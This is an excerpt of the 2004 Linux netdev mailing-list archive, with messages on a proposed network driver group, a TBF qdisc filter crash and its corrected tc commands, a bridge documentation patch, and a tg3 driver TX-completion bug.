(8.12.10/8.12.9) with SMTP id i4OKKQKO019749 for ; Mon, 24 May 2004 13:20:26 -0700 Received: by ruslug.rutgers.edu (Postfix, from userid 503) id C4B72F9D4E; Mon, 24 May 2004 15:41:17 -0400 (EDT) Date: Mon, 24 May 2004 15:41:17 -0400 To: Stephen Hemminger Cc: "Luis R. Rodriguez" , Jeff Garzik , netdev@oss.sgi.com Subject: Re: RFC: Network Device Driver Group proposal Message-ID: <20040524194117.GW3330@ruslug.rutgers.edu> Mail-Followup-To: Stephen Hemminger , "Luis R. Rodriguez" , Jeff Garzik , netdev@oss.sgi.com References: <20040524084945.GP3330@ruslug.rutgers.edu> <20040524113919.3651c453@dell_ss3.pdx.osdl.net> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="CwciIYoKw+3ryeRd" Content-Disposition: inline In-Reply-To: <20040524113919.3651c453@dell_ss3.pdx.osdl.net> User-Agent: Mutt/1.3.28i X-Operating-System: 2.4.18-1-686 Organization: Rutgers University Student Linux Users Group From: mcgrof@studorgs.rutgers.edu (Luis R. Rodriguez) X-archive-position: 5302 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mcgrof@studorgs.rutgers.edu Precedence: bulk X-list: netdev --CwciIYoKw+3ryeRd Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, May 24, 2004 at 11:39:19AM -0700, Stephen Hemminger wrote: > On Mon, 24 May 2004 04:49:45 -0400 > " > > OSLD wants to be the "center of gravity for all Linux related stuff". W= ell > > maybe OSDL can help us :) >=20 > OSDL does have the ability to host Special Interest Groups (SIG's). Ther= e are > two existing SIG's one for security, and another for storage. It would m= ake > sense to have one for networking, as well. I held off proposing one becau= se > Jeff and Dave to a good job and it would end up being more work for me > as the networking engineering contact at OSDL. >=20 > There are no membership restrictions for SIG's at OSDL, but there are some > rules (which are still being discussed). Mainly, they revolve around maki= ng > sure that everything is open, etc. There is a relationship back to the > existing working groups as well. For example, the networking SIG would > be responsible for giving a response (positive or negative) > to any networking requirements that came out of the CGL/DCL/DTL initiativ= es. =20 >=20 > So if Jeff (and/or Dave) want to have a networking SIG, I can get it star= ted.=20 > Probably there needs to be a strong reason to add more organization to a= =20 > already mostly functional process.=20 I think the netdev list is great. In fact, it's superb. But I think network driver developers need more than a list. I think it'd be great if we had a central group that can serve as resource for legal issues, one which would act as a central group to which manufacturers/companies can give NDA'd docs to (if this is acceptable; not like I like NDAs) and the group could then provide those specs to developers which would then work on drivers. Basically I feel we are doing great but we're lacking that *corporate* entity any commercial operating system has. Who do manufacturers seek out to provide/sell source base/NDA's to so that a driver can be written for our OS? No one... On behalf of who does a kernel hacker send out an e-mail to a company requesting specs to write a driver? The DRI/Xfree86 project have an advantage because of this --=20 they represent a group who has done tons of great work and companies=20 tend to trust groups more than individuals. Of course, many companies are now just takig the initiative to write their own drivers and then send 'em away for kernel inclusion. But -- not all do this. An open driver needs a mantainer.=20 Having a central place for network drivers would be nice for bugtracking as well. Perhaps providing hosting services for network drivers may be a good idea too. There are just ideas. I just feel something is missing. If no one has time, I can work on it. I just want to know if this all makes sense to others too. Don't *not* reply just because you don't=20 have the time. The work will get done if its for the good. Luis --=20 GnuPG Key fingerprint =3D 113F B290 C6D2 0251 4D84 A34A 6ADD 4937 E20A 525E --CwciIYoKw+3ryeRd Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFAsk/dat1JN+IKUl4RAinmAJ46YriGGlI7VkDgOMhSkwtB5jEoRgCgsFGa ZsU9hUVfRzVrSU2hAQCjV6Y= =qhxc -----END PGP SIGNATURE----- --CwciIYoKw+3ryeRd-- From shemminger@osdl.org Mon May 24 13:21:35 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 13:22:10 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4OKLZKO020034 for ; Mon, 24 May 2004 13:21:35 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i4OKKfr32532; Mon, 24 May 2004 13:20:41 -0700 Date: Mon, 24 May 2004 13:20:41 -0700 From: Stephen Hemminger To: mcgrof@studorgs.rutgers.edu (Luis R. Rodriguez) Cc: "Luis R. Rodriguez" , Jeff Garzik , netdev@oss.sgi.com Subject: Re: RFC: Network Device Driver Group proposal Message-Id: <20040524132041.46677ed8@dell_ss3.pdx.osdl.net> In-Reply-To: <20040524194117.GW3330@ruslug.rutgers.edu> References: <20040524084945.GP3330@ruslug.rutgers.edu> <20040524113919.3651c453@dell_ss3.pdx.osdl.net> <20040524194117.GW3330@ruslug.rutgers.edu> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.10claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5303 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev > I think the netdev list is great. In fact, it's superb. But I think network > driver developers need more than a list. I think it'd be great if we had > a central group that can serve as resource for legal issues, one which > would act as a central group to which manufacturers/companies can give > NDA'd docs to (if this is acceptable; not like I like NDAs) and the > group could then provide those specs to developers which would then work > on drivers. Basically I feel we are doing great but we're lacking that > *corporate* entity any commercial operating system has. Who do > manufacturers seek out to provide/sell source base/NDA's to so that a > driver can be written for our OS? No one... On behalf of who does a > kernel hacker send out an e-mail to a company requesting specs to write > a driver? The DRI/Xfree86 project have an advantage because of this -- > they represent a group who has done tons of great work and companies > tend to trust groups more than individuals. Of course, many companies > are now just takig the initiative to write their own drivers and then > send 'em away for kernel inclusion. But -- not all do this. An open > driver needs a mantainer. For a lot of reasons, OSDL won't usually sign NDA's especially the boilerplate kind that most companies provide. The NDA really needs to be with driver author; even then the restrictions can be unpalatable. > Having a central place for network drivers would be nice for bugtracking > as well. Perhaps providing hosting services for network drivers may be a > good idea too. There are just ideas. I just feel something is missing. bugme@osdl.org works but the problem with bugtracking systems is that they tend to be write only. I.e. bugs go in but nothing comes out. > If no one has time, I can work on it. I just want to know if this all > makes sense to others too. Don't *not* reply just because you don't > have the time. The work will get done if its for the good. If you have a more complete proposal, I am not against the idea, just wanted to make you aware of some of the issues. From romieu@fr.zoreil.com Mon May 24 14:21:24 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 14:21:26 -0700 (PDT) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4OLLMKO022108 for ; Mon, 24 May 2004 14:21:23 -0700 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i4OLHXuX006245; Mon, 24 May 2004 23:17:33 +0200 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i4OLHWaX006244; Mon, 24 May 2004 23:17:32 +0200 Date: Mon, 24 May 2004 23:17:32 +0200 From: Francois Romieu To: Stephen Hemminger , "Luis R. Rodriguez" , Jeff Garzik , netdev@oss.sgi.com Subject: Re: RFC: Network Device Driver Group proposal Message-ID: <20040524231732.B3940@electric-eye.fr.zoreil.com> References: <20040524084945.GP3330@ruslug.rutgers.edu> <20040524113919.3651c453@dell_ss3.pdx.osdl.net> <20040524194117.GW3330@ruslug.rutgers.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20040524194117.GW3330@ruslug.rutgers.edu>; from mcgrof@studorgs.rutgers.edu on Mon, May 24, 2004 at 03:41:17PM -0400 X-Organisation: Land of Sunshine Inc. X-archive-position: 5304 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Luis R. Rodriguez : [...] > on drivers. Basically I feel we are doing great but we're lacking that > *corporate* entity any commercial operating system has. Who do > manufacturers seek out to provide/sell source base/NDA's to so that a > driver can be written for our OS? No one... On behalf of who does a > kernel hacker send out an e-mail to a company requesting specs to write > a driver? The DRI/Xfree86 project have an advantage because of this -- > they represent a group who has done tons of great work and companies > tend to trust groups more than individuals. Of course, many companies May I suggest the following thread on dri-devel: From: Dax Kelson Date: Tue, 04 May 2004 15:32:13 -0600 Subject: [Dri-devel] Docs for R300/350 now R420 chips out? I enjoy working on drivers for which the datasheets are publically available. I do not buy your "corporate" model at all. [...] > Having a central place for network drivers would be nice for bugtracking bugzilla.kernel.org + google + testers harassment. -- Ueimor From dtor_core@ameritech.net Mon May 24 14:25:58 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 14:26:01 -0700 (PDT) Received: from web80507.mail.yahoo.com (web80507.mail.yahoo.com [66.218.79.77]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4OLPwKO022442 for ; Mon, 24 May 2004 14:25:58 -0700 Message-ID: <20040524212553.52149.qmail@web80507.mail.yahoo.com> Received: from [65.116.80.165] by web80507.mail.yahoo.com via HTTP; Mon, 24 May 2004 14:25:53 PDT Date: Mon, 24 May 2004 14:25:53 -0700 (PDT) From: Dmitry Torokhov Subject: Re: Kernel BUG: Qos seg. fault To: hadi@cyberus.ca Cc: Jaume Catarineu , "David S. Miller" , netdev@oss.sgi.com MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 5305 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dtor_core@ameritech.net Precedence: bulk X-list: netdev Jamal wrote: > On Mon, 2004-05-24 at 16:14, Dmitry Torokhov wrote: > > > prio qdisc can have several child qdiscs attached to it so I can see > > why it supports filters. But what is the point of TBF having filter > > attached? TBF either drops packet or passes it to its only child, > > there isn't anything to filter. Or am I missing something? > > If the TBF is pretending even in the slightest to be a classful qdisc > which i believe it does in the latest reincarnation i think it would be > a good idea to maintain the semantics of classful qdiscs - maintain a > filter list. > What do you mean it will only pass it to its child? Why were you trying > to attach a filter to it then? Sorry, I havent paid attention to how it > was supposed to be used. The only reason TBF has a class is that within current framework net/sched framework child qdisc can only be attached to a class. So TBF defines a class (there is only one per TBF qdisc, it's created automatically and can not be changed) much like sch_prio does. The difference is that sch_prio can have up to TCQ_PRIO_BANDS children so implementing filters for sch_prio makes sense. TBF has one and only one child qdisc. It starts with noop_qdisc from sch_generic and later user can change to to something else, like original poster did. Since TBF has only one child no matter what I contend that implementing filters for TBF does not make sense, filters should be attached either to TBF's child ot to TBF's parent but not to TBF itself. Dmitry From hadi@cyberus.ca Mon May 24 14:32:43 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 14:32:46 -0700 (PDT) Received: from mx01.cybersurf.com (mx01.cybersurf.com [209.197.145.104]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4OLWhKO022808 for ; Mon, 24 May 2004 14:32:43 -0700 Received: from mail.cyberus.ca ([209.197.145.21]) by mx01.cybersurf.com with esmtp (Exim 4.20) id 1BSN3p-0003Yo-ID for netdev@oss.sgi.com; Mon, 24 May 2004 17:32:41 -0400 Received: from [216.209.86.2] (helo=[10.0.0.21]) by mail.cyberus.ca with esmtp (Exim 4.20) id 1BSN3l-0006p1-0M; Mon, 24 May 2004 17:32:37 -0400 Subject: Re: Kernel BUG: Qos seg. fault From: jamal Reply-To: hadi@cyberus.ca To: Dmitry Torokhov Cc: Jaume Catarineu , "David S. Miller" , netdev@oss.sgi.com In-Reply-To: <20040524212553.52149.qmail@web80507.mail.yahoo.com> References: <20040524212553.52149.qmail@web80507.mail.yahoo.com> Content-Type: text/plain Organization: jamalopolis Message-Id: <1085434355.1039.47.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 24 May 2004 17:32:35 -0400 Content-Transfer-Encoding: 7bit X-archive-position: 5306 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev On Mon, 2004-05-24 at 17:25, Dmitry Torokhov wrote: > The only reason TBF has a class is that within current framework > net/sched framework child qdisc can only be attached to a class. > So TBF defines a class (there is only one per TBF qdisc, it's > created automatically and can not be changed) much like sch_prio > does. The difference is that sch_prio can have up to TCQ_PRIO_BANDS > children so implementing filters for sch_prio makes sense. TBF has > one and only one child qdisc. It starts with noop_qdisc from > sch_generic and later user can change to to something else, like > original poster did. > > Since TBF has only one child no matter what I contend that > implementing filters for TBF does not make sense, filters should > be attached either to TBF's child ot to TBF's parent but not to > TBF itself. Ok, understood. Why does TBF have only one child? cheers, jamal PS:- Very strange how netdev is not allowing my postings through. From shemminger@osdl.org Mon May 24 14:42:23 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 14:42:26 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4OLgNKO023323 for ; Mon, 24 May 2004 14:42:23 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i4OLg9r01152; Mon, 24 May 2004 14:42:09 -0700 Date: Mon, 24 May 2004 14:42:09 -0700 From: Stephen Hemminger To: "David S. Miller" Cc: Trent Jarvi , netdev@oss.sgi.com, bridge@osdl.org Subject: [PATCH] update Documentation/networking/bridge.txt Message-Id: <20040524144209.5449d829@dell_ss3.pdx.osdl.net> In-Reply-To: References: Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.10claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5307 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Trent Jarvi noticed this. The file was out of date with current web site and maintainer. Please apply to 2.4 and 2.6. Signed-off-by: Stephen Hemminger diff -Nru a/Documentation/networking/bridge.txt b/Documentation/networking/bridge.txt --- a/Documentation/networking/bridge.txt 2004-05-24 14:38:05 -07:00 +++ b/Documentation/networking/bridge.txt 2004-05-24 14:38:05 -07:00 @@ -1,11 +1,8 @@ -In order to use the ethernet bridging functionality you'll need the -userspace tools available at http://www.math.leidenuniv.nl/~buytenh/bridge. -The tarball available there contains extensive documentation, but if you -still have questions, don't hesitate to post to the mailing list (more info -at http://www.math.leidenuniv.nl/mailman/listinfo/bridge). You can also -mail me at buytenh@gnu.org. +In order to use the Ethernet bridging functionality, you'll need the +userspace tools. These programs and documentation are available +at http://bridge.sourceforge.net. The download page is +http://prdownloads.sourceforge.net/bridge. +If you still have questions, don't hesitate to post to the mailing list +(more info http://lists.osdl.org/mailman/listinfo/bridge). - -Lennert Buytenhek - From hadi@cyberus.ca Mon May 24 14:42:44 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 14:42:45 -0700 (PDT) Received: from mx03.cybersurf.com (mx03.cybersurf.com [209.197.145.106]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4OLghKO023418 for ; Mon, 24 May 2004 14:42:44 -0700 Received: from mail.cyberus.ca ([209.197.145.21]) by mx03.cybersurf.com with esmtp (Exim 4.20) id 1BSNDW-0000oU-Dz for netdev@oss.sgi.com; Mon, 24 May 2004 17:42:42 -0400 Received: from [216.209.86.2] (helo=[10.0.0.21]) by mail.cyberus.ca with esmtp (Exim 4.20) id 1BSNDO-0008QB-It; Mon, 24 May 2004 17:42:34 -0400 Subject: Re: Kernel BUG: Qos seg. fault From: jamal Reply-To: hadi@cyberus.ca To: Dmitry Torokhov Cc: Jaume Catarineu , "David S. Miller" , netdev@oss.sgi.com In-Reply-To: <1085434355.1039.47.camel@jzny.localdomain> References: <20040524212553.52149.qmail@web80507.mail.yahoo.com> <1085434355.1039.47.camel@jzny.localdomain> Content-Type: text/plain Organization: jamalopolis Message-Id: <1085434953.1043.50.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 24 May 2004 17:42:33 -0400 Content-Transfer-Encoding: 7bit X-archive-position: 5308 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev On Mon, 2004-05-24 at 17:32, jamal wrote: > > PS:- Very strange how netdev is not allowing my postings through. Oh, i see the cure was for me to say netdev was blocking my emails;-> About 3 or 4 postings i sent before this never made it. Now SMTP is no longer a reliable protocol. cheers, jamal From dtor_core@ameritech.net Mon May 24 14:53:51 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 14:54:14 -0700 (PDT) Received: from web80501.mail.yahoo.com (web80501.mail.yahoo.com [66.218.79.71]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4OLrpKO024027 for ; Mon, 24 May 2004 14:53:51 -0700 Message-ID: <20040524215346.73109.qmail@web80501.mail.yahoo.com> Received: from [65.116.80.165] by web80501.mail.yahoo.com via HTTP; Mon, 24 May 2004 14:53:46 PDT Date: Mon, 24 May 2004 14:53:46 -0700 (PDT) From: Dmitry Torokhov Subject: Re: Kernel BUG: Qos seg. fault To: hadi@cyberus.ca Cc: Jaume Catarineu , "David S. Miller" , netdev@oss.sgi.com MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 5309 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dtor_core@ameritech.net Precedence: bulk X-list: netdev > > Since TBF has only one child no matter what I contend that > > implementing filters for TBF does not make sense, filters should > > be attached either to TBF's child ot to TBF's parent but not to > > TBF itself. > > Ok, understood. Why does TBF have only one child? It just does... TBF as far as I understand is a simple rate limiting tool for your network link. I implemented the child qdisc for TBF so you can change default fifo queue in it to SFQ or PRIO. It supposed to be very lightweight. If you need something more complex/fancy then you probably want HTB or CBF. It's all just my opinion though. Dmitry From jaume.catarineu@upf.edu Mon May 24 15:49:29 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 15:49:38 -0700 (PDT) Received: from smtp08.retemail.es (smtp08.auna.com [62.81.186.18]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4OMnRKO026190 for ; Mon, 24 May 2004 15:49:28 -0700 Received: from salieri.xcasa ([62.57.138.199]) by smtp08.retemail.es (InterMail vM.5.01.05.32 201-253-122-126-132-20030307) with ESMTP id <20040524224921.EWTA1181.smtp08.retemail.es@salieri.xcasa>; Tue, 25 May 2004 00:49:21 +0200 Received: from hafner.xcasa ([192.168.0.20]) by salieri.xcasa with esmtp (Exim 4.10) id 1BSMqB-000276-00; Mon, 24 May 2004 23:18:35 +0200 Message-ID: <40B29812.7010308@upf.edu> Date: Tue, 25 May 2004 00:49:22 +0000 From: Jaume Catarineu User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7) Gecko/20040514 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Francois Romieu CC: davem@redhat.com, netdev@oss.sgi.com Subject: Re: Kernel BUG: Qos seg. fault References: <40B1E325.80408@upf.edu> <20040524211958.A3940@electric-eye.fr.zoreil.com> In-Reply-To: <20040524211958.A3940@electric-eye.fr.zoreil.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5310 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jaume.catarineu@upf.edu Precedence: bulk X-list: netdev Hi, Francois Romieu wrote: > Do you still notice the same behavior if you do not load any vmware nor > nvidia thing ? > Yes, because in the computer with the kernel 2.4.25 is no nvidia, and no vmware either. Jaume, From romieu@fr.zoreil.com Mon May 24 16:21:19 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 16:21:22 -0700 (PDT) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4ONLHKO029901 for ; Mon, 24 May 2004 16:21:18 -0700 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i4ONIBuX007985; Tue, 25 May 2004 01:18:11 +0200 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i4ONIB7R007984; Tue, 25 May 2004 01:18:11 +0200 Date: Tue, 25 May 2004 01:18:11 +0200 From: Francois Romieu To: netdev@oss.sgi.com Cc: jgarzik@pobox.com Subject: [patch] 2.6.7-rc1 - r8169 rediff Message-ID: <20040525011811.C3940@electric-eye.fr.zoreil.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i X-Organisation: Land of Sunshine Inc. X-archive-position: 5311 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev A set of patches against 2.6.7-rc1 which includes the NAPI changes, the link rework issued by Andy Lutomirski and a new shiny (?) TBI handling is available. It fixes an inverted link status bug which appeared in the serie announced on 05/20/2004 as well. Testers/comments welcome. All in one patch against 2.6.7-rc1: http://www.fr.zoreil.com/people/francois/misc/20040525-2.6.7-rc1-r8169.c-test.patch Individual files: http://www.fr.zoreil.com/linux/kernel/2.6.x/2.6.7-rc1-00 Tarball: http://www.fr.zoreil.com/linux/kernel/2.6.x/2.6.7-rc1-00/r8169-blob.tar.bz2 -- Ueimor From jaume.catarineu@upf.edu Mon May 24 17:06:33 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 17:06:36 -0700 (PDT) Received: from smtp07.retemail.es (smtp07.auna.com [62.81.186.17]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4P06VKO031349 for ; Mon, 24 May 2004 17:06:32 -0700 Received: from salieri.xcasa ([62.57.138.199]) by smtp07.retemail.es (InterMail vM.5.01.05.32 201-253-122-126-132-20030307) with ESMTP id <20040525000626.WJRF7344.smtp07.retemail.es@salieri.xcasa>; Tue, 25 May 2004 02:06:26 +0200 Received: from hafner.xcasa ([192.168.0.20]) by salieri.xcasa with esmtp (Exim 4.10) id 1BSO2i-0005Bx-00; Tue, 25 May 2004 00:35:37 +0200 Message-ID: <40B2AA21.7080700@upf.edu> Date: Tue, 25 May 2004 02:06:25 +0000 From: Jaume Catarineu User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7) Gecko/20040514 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Dmitry Torokhov CC: hadi@cyberus.ca, "David S. Miller" , netdev@oss.sgi.com, Francois Romieu Subject: Re: Kernel BUG: Qos seg. fault References: <20040524215346.73109.qmail@web80501.mail.yahoo.com> <1085436571.1041.69.camel@jzny.localdomain> In-Reply-To: <1085436571.1041.69.camel@jzny.localdomain> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5312 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jaume.catarineu@upf.edu Precedence: bulk X-list: netdev Hi all, After reading all your messages I share the Dmitry's point of view. It seems quite clear that implementing filters for TBF does not make sense. However, if it is the case, it could be nice a warning message that informs the user about the weird command introduced. Another option (a little more complicated) would be to "decay" automatically the filter to the TBF's child qdisc. That ougth to be announced to the user also and maybe it won't be allways possible (with the default noop_qdisc is useless, isn't it?). I will take a tour into the source code :) Actually, the original sequence must be rewrited to: tc qdisc add dev lo root handle 1: tbf rate 250kbit burst 5k limit 5k tc qdisc add dev lo parent 1: handle 20: prio tc qdisc add dev lo parent 20:1 handle 210: sfq perturb 10 tc qdisc add dev lo parent 20:2 handle 220: tbf rate 250kbit limit 5k tc qdisc add dev lo parent 20:3 handle 230: sfq perturb 10 tc filter add dev lo protocol ip parent 20: prio 1 handle 2 \ fw flowid 20:3 The key is the "parent 20:" (not the original "parent 1:") in the filter line. I must say that I got astonished viewing how quick you solved the quiz. Now I don't simply believe in free software, now I really TRUST in it. Jaume, From gnb@speed.melbourne.sgi.com Mon May 24 18:05:38 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 18:05:43 -0700 (PDT) Received: from zok.sgi.com (mtvcafw.sgi.com [192.48.171.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4P15bKO032477 for ; Mon, 24 May 2004 18:05:37 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by zok.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with SMTP id i4P14ehv014998 for ; Mon, 24 May 2004 18:04:41 -0700 Received: from speed.melbourne.sgi.com (speed.melbourne.sgi.com [134.14.55.174]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id LAA03907; Tue, 25 May 2004 11:04:36 +1000 Received: by speed.melbourne.sgi.com (Postfix, from userid 16345) id 0E41357980; Tue, 25 May 2004 11:04:35 +1000 (EST) Date: Tue, 25 May 2004 11:04:34 +1000 From: Greg Banks To: "David S. Miller" Cc: netdev@oss.sgi.com, mchan@broadcom.com Subject: Re: [PATCH] fix BUG in tg3_tx Message-ID: <20040525010434.GA31134@sgi.com> References: <20040524072657.GC27177@sgi.com> <20040524004045.58b3eb44.davem@redhat.com> <20040524080431.GD27177@sgi.com> <20040524100634.1349295d.davem@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040524100634.1349295d.davem@redhat.com> User-Agent: Mutt/1.3.27i X-archive-position: 5313 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: gnb@sgi.com Precedence: bulk X-list: netdev On Mon, May 24, 2004 at 10:06:34AM -0700, David S. Miller wrote: > > The most relevant (and accurate) piece of documentation for the chip > is Broadcom's own driver :-) The Windows-flavoured driver you decided to replace in Linux? > And they do not account at all for such > a case of partial-packet TX completion indication. If the first frag > is ACK'd they assume the whole packet has been taken. Here is the > relevant code from the bcm5700 driver in LM_ServiceTxInterrupt(): > > while(SwConIdx != HwConIdx) > { > pPacket = pDevice->SendRing[SwConIdx]; > pDevice->SendRing[SwConIdx] = 0; > > /* Set the return status. */ > pPacket->PacketStatus = LM_STATUS_SUCCESS; > > /* Put the packet in the TxPacketXmittedQ for indication later. */ > QQ_PushTail(&pDevice->TxPacketXmittedQ.Container, pPacket); > > /* Move to the next packet's BD. */ > SwConIdx = (SwConIdx + pPacket->u.Tx.FragCount) & > T3_SEND_RCB_ENTRY_COUNT_MASK; > > /* Update the number of unused BDs. */ > MM_ATOMIC_ADD(&pDevice->SendBdLeft, pPacket->u.Tx.FragCount); > > /* Get the new updated HwConIdx. */ > HwConIdx = pDevice->pStatusBlkVirt->Idx[0].SendConIdx; > } /* while */ > > Imagine how badly this piece of code would fail if partial ACK'ing of > TX packets actually occurred. It would loop past HwConIdx and thus > ACK really-not-completed packets, potentially colliding with what > the chip is transmitting and thus causing massive data corruption > and likely a crash. Actually, it would most likely loop past all > valid TX packets and dereference a pPacket NULL pointer. I agree that this code appears to implictly rely on always getting complete send ring updates. So has this driver been tested in 2.6? I did notice that the bug occurs far more frequently in 2.6 because better zero-copy code means that the driver actually sees skbs with frags instead of just the header. The driver might be accidentally working because pPacket->u.Tx.FragCount=1 during all its testing. Also, I'm not familiar with this driver's source (I haven't looked at it for a long time), but I can see that there are behaviour differences between this driver and the tg3 driver which might affect the visibility of the bug. For one thing, this code fetches a new sample of the hardware consumer index on every loop iteration. This may result in accidentally bumping up HwConIdx to avoid apparent partial completions. Also note that the queuing step (QQ_PushTail) might add enough delay to make a second status block update more likely. Without looking at the remainder of the driver, I can't say if this code is called more or less frequently than tg3_tx(). If it's using any interrupt coalescing at all it will be called much less frequently and thus have a smaller window to see a partial complete. On my hardware I see interrupt rates of 10000-30000 per second per card, and tracing shows that tg3_tx() is called on most of these interrupts. It could be the case that the huge interrupt rate in the tg3 driver is banging hard on a race condition which the bcom driver avoids. Also, the NAPI code in the tg3 driver will presumably set up the card's interrupt coalescing engine with different parameters, which might have an effect on the timing of status block updates. Finally, the tg3 driver departs from the recommended ISR 